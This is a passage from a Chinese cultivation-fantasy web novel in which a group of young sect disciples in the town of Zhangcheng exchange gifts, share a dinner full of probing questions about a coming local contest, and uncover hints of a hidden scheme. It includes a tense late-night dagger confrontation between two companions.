见她不接,陈荟桂将沈复宁的手掰开,放风车进去,又将她的手握起,若无其事的说:“你这么喜欢瘴城,若在这里受欺负了,传出去可不好听,我这就当补偿了。” 沈复宁发自内心的笑了出来,眼睛看着手中风车,此时还在不停转动,转动的方向却不知何时发生了改变,运出来的光点不停的朝着陈荟桂的方向飘着。 沈复宁的眼神追随着光点,落在了陈荟桂脸上,对方脸上的纠结与不舍到现在都没有收回去,还时不时的朝着那风车望过去。 “真的给我了?”沈复宁问。 “给了。”陈荟桂咬着牙说,“反正我女儿还会给我带的。” 沈复宁也没再推诿,看着陈荟桂,承诺道:“放心,等我离开瘴城,就去寒霜门一趟,让他们放你女儿回来。” 陈荟桂被她逗笑了,“哎呀,你还有这么大本事呢。” “忘了吗?婆婆。我可是金枝玉叶的大小姐,我哭一哭家里面就什么都能给我干成。”沈复宁冲着陈荟桂狡黠地笑着,“不信问他。” 陈荟桂狐疑地看向俞时逢。 “是真的。”俞时逢说的信誓旦旦,“只要她去了,就一定能让您女儿休沐来看您。” 见两人说的煞有介事,陈荟桂心中的怀疑消了点,却也没真的放在心上,只笑了笑。 她女儿也经常对她说,下一次,下一次就能多留一段时间,多陪陪她;等下一次,等下一次回来她就带她走。 她满怀期望的等待着女儿的下一次,等到下一次的时候,看到的却是女儿不敢看向她的眼睛,太多次了,她呆在这座小城,没去过更远的地方,帮不了女儿一点,以至于,她连问问女儿是不是发生了什么变故的勇气都没有,而那点希冀也没必要讲出来了。 但现在,她看着穿着普通,但看起来就气度不凡的两位年轻人对她在此承诺,她心中的死灰居然隐隐有了复燃的迹象。 要相信吗?不相信吗?可……万一呢。 陈荟桂的浮想联翩沈复宁才不出多少,但无非就那几种。 沈复宁想了想,笑着看手上的风车,轻声说:“就当风车的报酬了。” 说着,用手拨动了下,纸风车旋动,散发出的光点自风车上悠然升腾而起,亮光渐渐变得亮眼,绕着陈荟桂飞了一圈,缓缓升空,顺着长风悠悠飘向远方,最后缓缓停落在了一座门派上空。 光点悬在那里,静静的注视着底下。 手臂上遍布深浅不一的伤痕,有些伤痕的皮肉还泛着红肿,渗着淡淡的血丝的女孩,她正垂着头,给自己涂抹着不知品名的药物,动作缓慢,每涂一下,身子便微微一颤。 紧接着,悬在空中的光点似是看不过去,向下俯冲,绕着女孩的身子缓缓盘旋起来,萦绕在周身的微光轻轻拂过她身上的伤口,原本钻心的痛感,竟一点点缓和了下去,红肿的皮肉页仿佛被抚平,疼痛随着光点的消散而减轻。 陈荟桂原本紧皱的眉心松了一点,沈复宁看着她,降风车攥在手中,向她承诺:“你女儿会回来的。” 说完,没等陈荟桂作出反应,拉着俞时逢往回走。 陈荟桂看着沈复宁的背影,心底突然有了将她喊住的冲动,喊住做什么,没想好。 但,她的手已经举了起来,嘴张开了,眼中闪过一丝迷惘,她叫什么来着。 “沈复宁。” 不容质疑的喊声从客栈门口传来,沈复宁下意识地打了个寒战,这个语气以及刻在身体中的反应,不好的预感从心底升起。 脑子不自觉的开始回想,从昨晚到今日这么短的时间,以及分开就没再见过楚予,自己究竟又做了什么,惹她生气了。 她还没将昨晚到今日的事情在脑子里面过一遍,就感觉到有人用力的拍打自己的手。 “嘶,疼。”沈复宁皱着眉抬起手,用另一只手轻轻揉着。 看着手上拿着的风车,以及楚予沉着的脸,脑子还没转过来,就听见楚予不悦的声音:“你俩去哪儿了?” 哦。沈复宁看着自己的手,迟钝的想到了,从玄榆那边过来的一路,自己好像没有松开俞时逢的手。 她舔了舔自己有些干涩的嘴唇,有些窘迫的偷瞄了眼楚予的脸,趁着她看不见的空隙瞪了俞时逢一眼。 俞时逢掀起眼皮朝自己看了过来,沈复宁又后知后觉想起,自己刚刚是不是看到了什么。 情不自禁的抬起手摸过自己的脸颊,想,“自己刚刚是哭了吗?” 那泪痕早已干涸,沈复宁寻求无果,只得再次抬眼朝知情者之一的俞时逢看去。 可惜,这次只看见了觉得自己 屡教不改正怒目圆瞪盯着自己的楚予。 还好,这段时间楚予因为自己生气已经成了家常便饭,沈复宁也能让小时候摸索刚刚摸索出来没多久,而就不知出于何种原因变得稳重的楚予,最后搁浅的哄鱼妙招重出江湖。 想想,沈复宁倒觉得有点激动。 哄鱼第一招,态度放软,先认错,“师姐。”沈复宁挽着她的手往客栈里面走,随便坐到了个桌子旁,冲她眨着眼睛,眼中全是无辜,“怎么了?我又做错了什么吗?” 楚予还在盯着她,只是眼中的怒气削减了一些。 楚予没用将她的手甩开已经成功一大半了,第二招,示弱,“你都不知道,我今天起的有多早,脑子都不大清楚,今天还撞墙了。”说着,就将手抬起来,放在楚予眼底,就差将楚予刚刚打她留下的红色进不了她的眼中,“就这,你还莫名其妙的打我。” “呵。”楚予看着沈复宁手上那刺眼的一抹红,伸手给她揉着,“我是莫名其妙吗?” 楚予理她了,就说明不怎么生气了,第三招,卖乖,“怎么会,师姐打我都是有理有据的,莫名其妙的是我才对。” 楚予脸上出现了些许笑意,到这儿,她的怒意也就消散的差不多了。 只剩下最后一招,转移话题,她将手从楚予手中收回来,撑着头,状似无意的说:“我刚刚碰到岑贺和岑倪了。” “是吗?”楚予看着她,静静的等待她的后话,以及给自己找的事。 沈复宁冲她讪笑道:“我对他讲,你让我请他和岑倪吃饭,表达感谢。” 楚予沉出口气,揉着自己的太阳穴,过了会儿,才说:“却是该表达感谢。” “是吧。”楚予的肯定给了沈复宁力量,她立刻就挺直了脊背,说话声音都更足了些,“我对他说,择日不如撞日,就今晚,昨天的那个饭馆。” 楚予看着在她面前抖机灵的沈复宁,不免觉得好笑,更多的是无奈,“今晚是吧。” “对。” “什么时候?” “酉正。”沈复宁知道楚予这是答应了,尾音都翘了上去。 “酉正去做什么?”刚从楼下下来的尤璟只听见了这个尾巴。 “请岑贺在昨日的饭馆吃饭。”楚予给尤璟倒了杯茶,移向对面。 尤璟端起茶杯,喝了一口,“确实应该感谢,那正好,大家一起去。”她看向从门口回来的姜柳依,花雾姒,和大包小包抱着东西的姬齐结。 “去哪?” 姜柳依从善如流的倒了杯茶递给刚将东西放在桌上的姬齐结大功臣身上。 姬齐结罕见的没有客套,立刻喝了起来。 只有沈复宁扒拉着桌上的东西,问,“这都买了些什么?” 姜柳依看了花雾姒一眼,半分情面都没给她留,“一条街。” 所有人都惊奇的看着花雾姒。 “大惊小怪,一副没见过世面的样子。”花雾姒将手中的东西放在了一旁。 姜柳依连连摇头,“是没见过。” 原本是被姜柳依强拉出去的花雾姒出去逛了一圈,不知中了什么邪,那一条街的物件都被她扫荡一空,无论有用没用,全被她尽数交换了过来。 “今日还有人在卖东西?”沈复宁不明白,“他们不都应该去筹办荫守遴选了?” “有的,去筹办荫守遴选的都是家中或多或少能拿出东西的人家,拿不出来的,不好意思去。”俞时逢说。 “这样啊。”沈复宁看了眼不自在的花雾姒,唇角弯了弯。 俯身去看花雾姒买的东西,“让我来看看大小姐交换过来的东西。” “这是什么?”尤璟拿起桌上用油纸包着的糕点,拆开,一股草木香飘进鼻腔。 “榆蕊蒸糕。”楚予将它推向了坐在对面的岑贺面前,“我们也没什么好东西送你的,只能借花献佛,送些城中常见的东西了。” 25. 第 25 章 “确实常见。”岑贺看着那糕点,手抚在上面,“也确实许久未吃过了。” “那感情好,说明我们这份礼,送的对。”姜柳依的眼神若有似无的停在那份榆蕊蒸糕上。 要知道,今天下午的时候,打开一份,几人分着还没吃几口,尤璟就将剩下的那份扣了下来,说是晚上带给岑贺,她还没尝出真正的味道呢。 岑贺笑着看向姜柳依,将榆蕊蒸糕搁在一旁,“整个瘴城也就只有那一家卖榆蕊蒸糕的,每日按量卖,去晚了就没了,我属实是馋许久了,终于得幸能再尝一尝。” “我也想再尝一尝。”姜柳依的眼睛随着岑贺的动作也落了下去,不自觉的将心里话说了出去。 花雾姒受不了姜柳依这没见识的样子,却又碍着外人在场,不好直接出口讽刺,给她夹了一筷子菜,脸上笑着,眸子里面全是警告,话从牙缝里面挤出来的,“给我悠着点。” 姜柳依撇撇嘴,不甚在意,但也心虚,“我也没说什么。” “别听她的。”尤璟给岑贺倒了杯茶,“她只是今天下午榆蕊蒸糕没吃够而已。” 楚予顺势接过话头,“也多亏了她俩带的东西是你喜欢吃的,要不然,我们也不知道该怎么感谢你的照顾了。” 岑贺笑着打哈哈,连连摆手说:“应该的。” 桌上几人言笑晏晏,你客套完了,我恭维。 桌下,沈复宁不动声色的踢了俞时逢一脚,对方抬眼看来,立刻给了他一个眼神。 随后,指尖轻叩茶盏,神色自若的开始套问,“岑道友的公务总是这么多的吗?” 岑贺夹菜的手一顿,掀起眼皮朝自己左前方的人看过去。 沈复宁不懂岑贺看她的意思,语气自然,“这是不能问的吗?” “怎会。”岑贺将菜放盘子里,语气尽量放轻,“瘴城总共就这么大,人也少,公务不多,就是杂。” 楚予看了眼贸然提问的沈复宁,冲她使眼色,“打算做什么?” 沈复宁无辜的摇摇头,只是问问。 “清官难断家务事嘛,能够理解。”眼见气氛有了僵硬之势,尤璟笑着打着圆场。 俞时逢这次倒是顾不上去看师姐妹两人的友好交流,拿起茶杯放在嘴边抿了一口,接着尤璟的话继续问:“这公务都由你做吗?不是还有一位小木伺,再不济,你们城主不管的吗?” 他问的诚恳,就像真的在好奇一般。 沈复宁眼睛一亮,俞时逢问到点子上了,全城人对这位想出荫守遴选的城主毫无疑问是恭敬的,但,这荫守遴选都要开始举办了,也不见他为了这件事情奔走,看起来也没有多上心。 沈复宁自动忽略楚予警告的眼神,用求知的眼神看着岑贺,“确实,荫守遴选也没几天了,也没见过城主。” 岑贺看着明显试探的两人,难掩惊讶,“二位都报名荫守遴选了,还不知道第一轮是需要城主先同玄榆沟通才能开始的嘛。”说着,又有些懊恼,“正是城主不能缺席荫守遴选,这几天都在养精蓄锐,实在是不敢多分出心思给其他,才导致我这么忙的。” 岑贺刚说出口沈复宁和俞时逢报名了荫守遴选,桌上的其他人难掩惊讶,面面相觑。 尤其是姜柳依,恨不得一蹦三尺高,“你俩报名了荫守遴选!” 楚予也不赞同的看着沈复宁,“为什么不跟我说。” 沈复宁伸手给楚予顺气,没有说话,但眼神已经告诉了楚予,回去了再说。 “你这么大反应做什么。”花雾姒不解的看着姜柳依,将她拽了下来。 姜柳依也觉得自己的反应过激,尴尬的笑了笑,“这荫守遴选的获胜者不是要留在瘴城,我这不是担心嘛。” 沈复宁眼睛一眨不眨的看着姜柳依,她的担心是真,但能有如此大的反应,应该是还有其他的因素在。 按下心中的疑问,重新看向此刻了然的岑贺。 “原来你们不知道,怪我,就这么说了出来。”岑贺充满歉意的看向沈复宁和俞时逢两人。 “怎么会怪你,你也不知道。”尤璟趁势出声缓和场面气氛。 沈复宁悻悻望了俞时逢一眼,对方也冲自己投来一个无可奈何的眼神,别这么看我,节奏全被打乱。 场面一下子安静了下来,只有姜柳依低垂着眼眸,看一眼沈复宁,再看一眼俞时逢,动静虽然不大,但纠结的情绪就差当场宣读了。 沈复宁忍不了了,将筷子放在桌上,抱着手臂,盯着姜柳依,抓到了她不知递过来几次的眼神。 无法,姜柳依只能说了出来,“那个荫守遴选你俩能退出吗?”问完,又觉得他俩大概不可能退出的了,只能看着在场能做主的岑贺。 岑贺盯着姜柳依看了许久。 姜柳依觉得对方能够答应的时候,岑贺却打破了她的幻象,“我做不了主,除非那天两人没有出现,算作弃权。” 言尽于此,姜柳依的心也就死了一半,只能眼巴巴的再次学着猫头鹰,盯盯沈复宁再盯盯俞时逢。 “唉。”刚拿起筷子准备吃饭的沈复宁,只得再次将筷子放下,叹了口气,看着她,“你想都不要想。” 这下好了,心死了,原本的珍馐佳肴也变成了清汤寡水,一脸死相的嚼着口中叫不上来名字的菜。 陡然看到一双带着骨感的手从自己眼前飘过,还未彻底飘走的魂像抓住了最后一块躯壳一般,眼中闪过光,看着俞时逢。 “做不到。” “啪。”神魂俱灭,连同那带了一丝生机的躯壳也渐渐有了裂痕。 姜柳依咽下最后一口饭,看着岑贺,眼神放空,不知道在想些什么。 “怎么了?”花雾姒没习惯如此安静的姜柳依,手肘顶了顶她,见她没反应,担心了起来,“不至于吧,俩人肯定不会留下的啊。” 姜柳依摇着头,看了眼岑贺,“万一真留下来呢,且不说俞时逢的师父,单是太初宗都会让我们药王谷给个交代的。” 沈复宁看着姜柳依,揉了揉吃撑的肚子,问她,“你们药王谷知道瘴城的情况吗?” 岑贺正在吃菜的手一顿,很是好奇这个答案,将筷子放了下去。 姜柳依猛地一怔,眼神飘忽了起来,不好意思的挠了挠自己的头,讪笑道:“你们也知道,我不管事的。”她说是个少谷主,但其实就是个吉祥物,不怎么参与门派事宜的。 “一点都不管吗?”尤璟不太相信。 在场的有少谷主,少阁主,还有名正言顺的大师姐,以及门派中不容置喙的天骄,虽说长老们可能不太相信小辈,但门派公务多少还是会透个信的。 “一点都不。”姜柳依说,“我这性子也不适合管这些啊,就算我想,我爹也得愿意啊。” 花雾姒看着姜柳依没说什么,她姨父确实不喜欢别人太过插手门派的事。 沈复宁看着姜柳依若有所思。 俞时逢将杯中最后一口茶饮尽,看着岑贺,似笑非笑的说:“那岑倪呢 ?”既然城主心力皆不足,那另一位木伺呢,真的什么都不管嘛。 岑贺像是没反应过来话题怎么又跳了回来,但也只是笑了下,便回答:“舍妹毕竟年纪还小,孩子心性,做不了那么多。” “哥。” 说曹操曹操到,原本被留在家中做功课的岑倪不知为何找了过来,她的这声哥,让岑贺陡然一惊。 不悦的看向岑倪,“你怎么来了。” 岑倪像第一次见他们一样,环顾了一圈,只不过有些紧张,还强行让自己保持平常的样子,“我,我功课做完了就像来凑凑热闹嘛。” 沈复宁一直盯着岑倪,没错过对方刚刚环顾的时候,在自己这个方向多停顿了一瞬的事实。 “做完功课就能……” 沈复宁在底下戳了戳楚予的腿,楚予看过来,又冲岑倪的方向使了个眼神。 楚予明白,这是想要她出来打个圆场,叹了口气,就要开口。 “训斥岑倪做什么。”没想到姜柳依先于楚予一步,看不下去了,说完岑贺之后,又笑着对岑倪说:“妹妹吃饭了嘛,饿不饿。”语气要多柔和就有都柔和,跟淮河水似的,生怕吓着人家。 花雾姒一脸嫌弃的看着她,第一次见她的时候不是着态度啊,“你喊谁妹妹呢。” “又不是喊你,自作多情个什么劲啊。”姜柳依还给花雾姒一个白眼。 “岑倪被吓着了吧。”姬齐结看着呆愣在一旁,不知作何反应的岑倪,缓声开口。 “瞎说。”姜柳依的说字尾音还未说全,就听见岑倪略带颤抖的声音响起。 “啊,哦。”岑倪看着突然将眼神聚焦在自己身上的几人,吞了吞口水,不露声色的看了眼面色不虞的兄长,对方点了头,才坐下,轻声说:“吃过了。” 岑倪是否真的被吓着了暂且不提,就是如此乖巧,也令他们几人目瞪口呆,不禁开始怀疑这跟昨天不是一个人。 “瞪什么瞪。”岑倪被几人面不改色的盯的不自在,状似自然的开口。 殊不知,这种底气不足的凶狠,落在七人眼中,就跟闹脾气的小猫一样,毫无杀伤力不说,甚至隐隐起了逗弄的心思。 “妹妹。”沈复宁自然而然的叫起来了这个称呼,并丝毫没有觉得不对。 听见这个称呼,沈复宁毫不意外自己又被瞪了一眼,不过看着同样被岑贺瞪了一眼的岑倪,心中平衡的很,又喊了一声,才继续说:“刚刚,你姜姐姐提议,让我和俞时逢退出荫守遴选,你觉得怎么样。” 在沈复宁说到两人退出荫守遴选的时候,岑倪的眼睛明显亮了一瞬,下一秒,她僵硬的动了动身体,别扭的开口:“你俩想退出就退出啊。”说着,小心翼翼地观察着什么,“反正荫守遴选跟你们又没有太大的关系。” “岑倪。” 岑贺的呼喊,让本就拘束的岑倪滞了一刻。 岑倪望着自己兄长的表情,闭上眼,呼出口气,像是做了什么决定一般,“本来就是,这是我们瘴城的事情,跟他们又没有什么关系,何必牵扯进来。” 她面上忐忑,说出的话却顺畅无比,像是排练了许多次。 岑倪说完这番话之后,与看起来轻松的岑倪截然不同的是岑贺铁青的脸,站起来,对那七人道别,“小倪,年少无知,诸位不要放在心上。” 说完,看了眼岑倪,走了出去,随后,岑倪跟了上去。 原本热闹的场面只剩下了七人面面相觑,不知说些什么。 26. 第 26 章 众人还没反应过来,沈复宁突然站了起来,冲到了岑贺,岑倪两人面前。 岑贺皱着眉头看着她,沈复宁没理会他的冷眼,拿出了风车,递给了岑倪。 风车同今天陈荟桂给的有些不同,跟沈复宁拥有的那个铁燕子倒是异曲同工,都是用铁丝弯曲得来的,除了这一点,最大的不同是沈复宁在用灵力渡了一层光。 随着风车转动的轨迹,光晕的大小也不同。 沈复宁拨动风车,金色的光缓缓变得耀眼又随着风车转动速度的渐小而变得柔和,最后紧紧贴合在轮廓上。 沈复宁看见了岑倪眼中的惊喜,不过因为有顾虑,没有立即接过去。 “拿着吧。”她不由分说地将风车塞到岑倪的手里,塞完之后又说,“赔礼。” “这……”岑倪看着做了这些就返回饭馆的沈复宁,犹豫的看着自己手中的风车,“哥……” 岑贺突然伸手,将风车从岑倪的手中拿过来,从上到下摸了一遍,笑着重新交到了岑倪手上,摸了摸她的头,“既然是赔礼,那你就好好收着吧。” “好。”岑倪极大声的应了。 “她收了?”俞时逢的声音陡然从沈复宁的身后冒出来。 “那么大一声好你没听见?”沈复宁没好气的瞥了他一眼,可对方幽怨的视线实在是没有办法继续强硬下去,连带着质询的语气都虚了下来,“怎……怎么了?” “没怎么。”俞时逢冲她莞尔一笑,“看你送出去的东西有点眼熟。”说着,瞥了眼理亏了沈复宁,不甚在意的补充了一句,“那燕子你别随意送人就好。” “放心。”沈复宁随后就将那“燕子”拿了出来,“我一直随身带着。” 俞时逢全然没有意识到沈复宁的举动,有些意外,更多的是高兴。 沈复宁冲她疑惑的挑了下眉,可不知为何一向能立刻察觉到的俞时逢仍留在自己的幻想中。 在一旁目睹了全程的花雾姒不着痕迹的看了眼同尤璟在柜台边结账的楚予,收回了无语的眼神,看着在刚刚饭桌上就不太对劲的姜柳依,刚刚只是对沈复宁和俞时逢参加荫守遴选的不满,现在就是完全的魂不守舍了。 “还在想荫守遴选的事?”她开口询问。 姜柳依冲她苦笑,“那俩人是真的想留在这里吗?” “怎么可能。”花雾姒是完全不相信,但又想到沈复宁平日的风评,又觉得似乎太多笃定,没给自己留后路,于是说,“就算要留下,太初宗也不会同意啊。” “那不是还有俞时逢嘛,他总会拉着沈复宁的。” 姜柳依看了眼一旁面色柔和低着头同沈复宁说话的俞时逢,随后又快速的转过头,面无表情的看着花雾姒。 那画面花雾姒也没有错过,一边拿手指缠绕落在肩上的头发,一边没底气地说:“重大的事情应该……能拉住的吧。” 姜柳依只呵呵两声,不敢苟同。她认为沈复宁杀人俞时逢不递刀只跟在身后收拾残局就不错了,指望他拉住她,疯了吧。 “他们参不参与荫守遴选很重要吗?” 花雾姒和姜柳依双双愣神,才发现身旁有个人。 姬齐结憨厚的笑了笑,看着已经结完账准备往外走的人,解释,“要走了,我来喊你们。” “哦。”两人应了,跟了上去。 姬齐结却还未放弃刚刚的问题,又问了一遍。 花雾姒也颇感兴趣的看着姜柳依。 “当然重要。”姜柳依的声音陡然升高,“万一他们真留下来,我们怎么跟长老们交代。” 姜柳依说的云淡风轻,可花雾姒的眸光一直定在她攥紧的手。 姜柳依的手动了动,像是想要往后藏,却不知怎的改了轨迹,放在嘴前,咳嗽了两声,完了,还摩擦了两下胳膊,“天怪冷的。” 这就有些此地无银三百两了,花雾姒眼中眸光一闪,盯着姜柳依看了会儿,随口应道:“瘴城的气温确实不太稳定。” “明日气温要降,你记得穿厚一点。”岑贺站在岑倪在岑倪房间,将桌上的蜡烛点亮。 烛火亮起来的一瞬,也不知是不是因为不适应,岑倪的脚步一顿,语气有些无奈,“什么时候瘴城的天气能够彻底稳定下来啊。” 岑贺笑笑,“城主说了,等这次荫守遴选结束,瘴城就能恢复往日景象。” 岑倪拿着风车的手一顿,犹豫着抬头,“哥,我还是觉得……” “小倪,他们是修士,天下苍生本来就是他们的责任,我们没有错。”他再一次重复了这句话。 岑倪看着眼神躲闪的兄长,想了想,还是开了口,“天下……” “你早点睡吧,明日还有其他事情要做。”岑贺不耐烦的打断了她,转身而走。 岑倪看着面前被关上的门,轻声将刚才没说完的话补充完整,“天下又不只是他们的天下,哪用得着担这么重的责任,担的起吗?” 她拨动着风车,附着在风车外层的灵力霎时亮起,随着叶片转动的速度加快,淡淡的荧色向外铺设,掩盖过了把周遭的昏暗一点点撑开,掩盖过了那不停摇曳的烛火,有些惭愧的对着风车说:“如果将一切告诉你们,你们还会帮忙吗?” 风车轮的速度慢慢放缓,光晕也跟着一点点收束,光亮渐次淡下去,光圈缩成微弱的一点微光,最后贴附在风车上,岑倪的语气却渐渐笃定了起来,“虽然刚开始你欺负我,但你应该是个好人。” 她将风车抱在怀中,心中的想法坚定了起来,“好人总不能被我们算计了。” “听到没有。” “听到了。”沈复宁揉着被楚予捏过的耳朵,“荫守遴选一定不用全力,意思意思就下台,不随便参和他们的事。”沈复宁无力的总结重复刚刚楚予说过的话。 说着又有所不服,“师门有训,可以败,可以胜,不可弄虚作假。”她弯着头,明晃晃的讨打,“你这段让我去打假赛的话要是传到了二师父耳中,是会被罚的。” “师门亦有训,进退两难之时,随机应变。” “可我不觉得两难,甚至都算不得难事。”沈复宁看着楚予,眼神坦荡,“师姐,不能因为不知前路而后退,起码让我探一探。” “明知前路有虎,偏向虎山行,是傻。”楚予恨铁不成钢的戳了戳沈复宁的额头。 “万一是只幼虎呢,我赤手空拳就能打倒,为何不去 试试?” “万一是猛虎,恰巧又不止一只呢?” “一看你就灵生课就没好好听,老虎独居。”她不在意的说,“况且,我有剑,有刀,有扇,再不济还有符,什么坑能把我困住。” 楚予看着她这副样子,神色有些复杂,就是想眼睁睁的看着沈复宁再一次跳进了同一个坑中,并且自己无力阻挡。 沈复宁被她看的打起了冷战,“师姐,别这么看着我,你的眼神像是在看一个不可救的傻子。” “你以为呢?” “我认为我还是有救的。”沈复宁冲她卖笑。 楚予顺着沈复宁的意图,笑了两声,却还是不放心的叮嘱,“记得,不要啥事都往自己身上担。” 沈复宁点点头,“放心,我有数。”她拍了拍自己的肩膀,“我这肩膀抗不了多少东西,能抗住师门的教导就不错了,更多的就需要掂量掂量了。” 楚予不放心的看了她两眼,见她确实将自己说的听了进去,才离开。 门刚关,沈复宁立刻将头埋在了自己的臂弯处,一只手捏了捏自己有些僵的脸,眼神有些迷茫。 总觉得楚予是不是知道些什么,话里话外都在提醒自己,不要不自量力。 她拍拍自己的脸,试图将那些乱七八糟的想法扔出去,摸到自己脸的那刻,却想到了陈荟桂说的话。 “我哭了吗?”她喃喃道,手轻轻拂过自己的脸颊,今天脑子里是有些画面闪过,眨了眨眼,还有昨天也是。 沈复宁慢慢坐直,一手撑着头,一手不停的敲着桌子,试图回想那些画面。 昨天的画面明明有印象的啊,是什么来着。 敲打的声音渐渐弱了下来,伸向了自己放在桌上的剑,将匕首抽了出来,伸了个懒腰。 推开门缝确认了外面没有人,立马坦荡的走了出去,停在了一扇门前,敲了敲。 里面的人似是有感应一般,沈复宁没有听见脚步声,还未疑惑,里面的人就像一直等着一般,开了门。 沈复宁冷冷看了他一眼,走了进去,俞时逢看着她怡然自得的走到桌边给自己倒了杯茶,坦然的冲他挑了下眉,还不关门。 俞时逢转身将门关上,随后坐到她的身旁。 沈复宁从善如流的再次倒了杯茶,放在了俞时逢的身前。 俞时逢看着沈复宁宾至如归的样子,不免觉得好笑,又怕对方发现,拿起杯子喝了一口,疑惑的问:“这么晚了来做什么?” 沈复宁不说话,静静的看着他,确认他不会坦白之后,原本还松弛垂在身侧的手腕一转,一道寒光闪过,藏在袖中的匕首旋即滑出,冰凉的刃稳稳抵在了俞时逢的颈侧。 刀锋微微下压,压出一道浅痕,沈复宁没有发力,俞时逢颈侧的脉搏却隔着薄皮,一下一下撞在锋利的刃身。 桌上的茶水被这突如其来的动静震得轻晃,几滴热茶溅在桌上,沈复宁指尖紧扣刀柄,闲聊似的问他,“你隐瞒了什么?”若是忽略她下压的匕首,倒真的像是一句不痛不痒的询问。 俞时逢垂眸,目光落在抵着自己咽喉的刀锋,没有躲闪,没有反抗,视线慢慢抬了起来,对上沈复宁的眼睛。 27. 第 27 章 俞时逢盯着沈复宁的眼睛,脸上带上了笑意,身体往前倾。 沈复宁歪着头看他,眼睛没有移开,手却在俞时逢前倾的时候,稍稍退了退,除了两人的距离变近了,其余毫无差别。 俞时逢轻叹出口气,抬手握上了沈复宁拿着匕首的手,带着她的手往自己脖子上压。 沈复宁眼神中闪过一丝诧异,却也没阻止,任他主导着往脖子上划,眼神下瞟,见有血痕渗出,拿着匕首往后移。 “你有病啊。”沈复宁有些气急。 俞时逢也没再继续,松开了她的手,随意地瞥了眼匕首上的血迹,客观的说:“这柄匕首有些顿。”试探着再次伸手过去,没发觉对方有什么抵抗的情绪,将匕首从她手上拿过来,语气带上了点讨好,“需要我帮你磨磨吗?” 沈复宁没好气地瞪他一眼,“你还没解释呢。” 俞时逢叹了口气,将匕首放在桌上,又把沈复宁面前的茶往她那边推了推,略带无奈的说:“你当初不是不在乎我隐瞒了什么吗?” “嗯。”沈复宁点了点头,看了眼被推近的茶,“我现在也不是很在乎。”说着瞥了眼俞时逢,看对方似是松了口气,才慢悠悠的补充,“但我很在乎有关我的那部分。” “你的?哪部分?”俞时逢皱着眉头,像是没有听懂,又像是在回忆,“是当初一声不响提剑独自杀上不周,还是受了重伤不敢被人知道,草草处理,被我发现,费了九牛二虎之力将你迷倒,带到青屏山疗伤,或是……” “停。”沈复宁一只手竖着,另一只放在那只上面,比了个停下的手势,看着俞时逢一脸无辜样,舔了下嘴唇,硬生生被气笑了。 这人啥时候学的这么坏了,顾左右而言他,说的是一会事嘛,还有,他还有脸提青屏山的事。 对,就是青屏山,沈复宁灵光一闪,当时在裁缝铺里,俞时逢问了那个问题之后,脑子才有了一瞬间的恍惚。 俞时逢看着沈复宁眼中冒出的精光,突然有种不详的预感,紧了紧自己的手,又松开,状似波澜不惊的开口,想要打断她继续将脑中所想延伸下去,“天色已经很晚了……” “俞时逢,你别打断我。”沈复宁沉声说,说了之后眼神又回到了他的身上,准确来讲是他的脸上,然后慢慢下移,停在了锁骨处,不知为何,突然有个冲动,想要将俞时逢的衣服扒到锁骨处,然后呢……然后做什么呢?还是看什么? 沈复宁晃了晃头,俞时逢见她情况不对,立马伸出手,还没碰到,就被对方反压住,眸光幽深,轻声询问:“我是不是打过你?” 俞时逢松了口气,眼神从她握着自己手腕的地方扫过,没再动,就着这个姿势往桌上一趴,侧着头看着她,眼神平静,缓声开口:“你当然打过我。” “不是平常大闹的那种,是……” 沈复宁看着俞时逢原本无波的眼神,却突然因为自己的话泛起一阵晦涩与挣扎的波澜,波澜不大,很快便再次平静了下来,刚刚的霎那就像是沈复宁的幻觉一般。 但沈复宁看见了,看见的瞬间突然卸下了刚开始锲而不舍的那股劲,还没搞清楚自己怎么了,就听见自己的声音,“算了,就这样吧。” 弄不清楚也挺好,毕竟难得糊涂嘛。 “啊。”俞时逢不可置信的看着沈复宁,自己的手腕被松开了,刚刚的触觉还停留在上面,就看见沈复宁将那杯茶一饮而尽,一句话没说,走出了房门,徒留下俞时逢一人还呆呆傻傻的愣在原地。 只剩下那扇年久失修的门因为用力太大,被反弹出去,晃晃悠悠的发出“吱呀吱呀”的声响,提醒着他。 “不合时宜。”俞时逢测压着自己的胳膊,一只手不停的摩挲着沈复宁刚刚放下的茶杯,溢出一声自嘲的笑,继续低声呢喃,“就这样吧,挺好的。” 而另一边,站在死角的楚予一声不吭的看着一脸茫然从俞时逢房间出来的沈复宁,看着她将房门关上,且没有出来的迹象,才轻轻跺了下有些发麻的脚。 拿出当初在仙门大比结束后关缈交给自己的令牌,脑中再次响起了沈复宁昏迷后,师父曾对自己的叮嘱。 “让你师妹离那个俞时逢远一点。”关缈的脸色不是很好,或者说直接一点,明显是带着怒意的。 楚予的“为什么”还没问出口,关缈便再次开口,“我知道的也不多,她师父说的,仙门大比之后她会有一劫,与你们师祖有关。” 关缈看着楚予神色突然一僵,随意问了句,“怎么,你知道啊。” “不知道。”楚予摇摇头,“只是第一次听您提起师祖,有些意外。” 关缈笑笑,没深入说这件事,神色更郑重了点,“我知道你平日总是替你师妹遮掩,这件事情我只是告诉你一声,平日注意一点就行了,不用时时刻刻看着你师妹。” 关缈轻轻拍了拍楚予的肩膀,语重心长道:“师父还是更希望你能多关注关注自己,这次出去历练,好好玩,玩得开心一点,多学学你师妹,少年人,没有必要想那么多,天塌下来,还有我们这群老家伙挡在前面。” “知道。”楚予应道。 “行了,你师妹应该快醒了,你回去吧。”说着,又突然想起来什么,叫住了她,“她要真醒了,让她去灵墟岛见她师父。” “掌门来了?” “肯定要来,徒弟在这么一个大比中伤了,怎能不来。”关缈冲她摆摆手,“快走吧,她醒了还不知道要折腾什么呢,那几个人制服不了她。” 楚予压下嘴角隐隐的笑意,往外走,只是又不自觉地想刚刚师父说的事情。 “怎能不担心啊。”她将那令牌收了回去,叹了口气,不免感叹,“在有些事情上面,应该谁都管不了她。” 收起繁杂的思绪,准备洗洗睡的楚予,又再次纠结了起来。 另一边,躺在床上刚刚放弃追问俞时逢并决定不再去那件事的沈复宁,压根不知道此时此刻在自己屋子不远处正有两个人因为她而睡不着。 两天的时间过的飞快,明日就是荫守遴选,沈复宁现在正百无聊赖的坐在花雾姒的房间听着她不停的挑剔着刚刚拿回来不久的新衣。 口中嗯,啊,欸的应着, 时不时再啃一口手里拿着的苹果。 “行了别啃了,看我。”花雾姒伸手夺走了沈复宁手中的苹果,放在了一旁,又远离了她两步,慢慢转了一圈,好让沈复宁看清,“怎么样,真的不丑吗?” “真的不丑。”沈复宁举起右手,一脸诚恳的发誓,“沉鱼落雁,闭月羞花,我就没见过比你穿起来还好看的人了。” “真的?”花雾姒转过身,看见沈复宁的手势,翻了个白眼,往前一步,压下一根手指,“你真的一点都不诚心。” 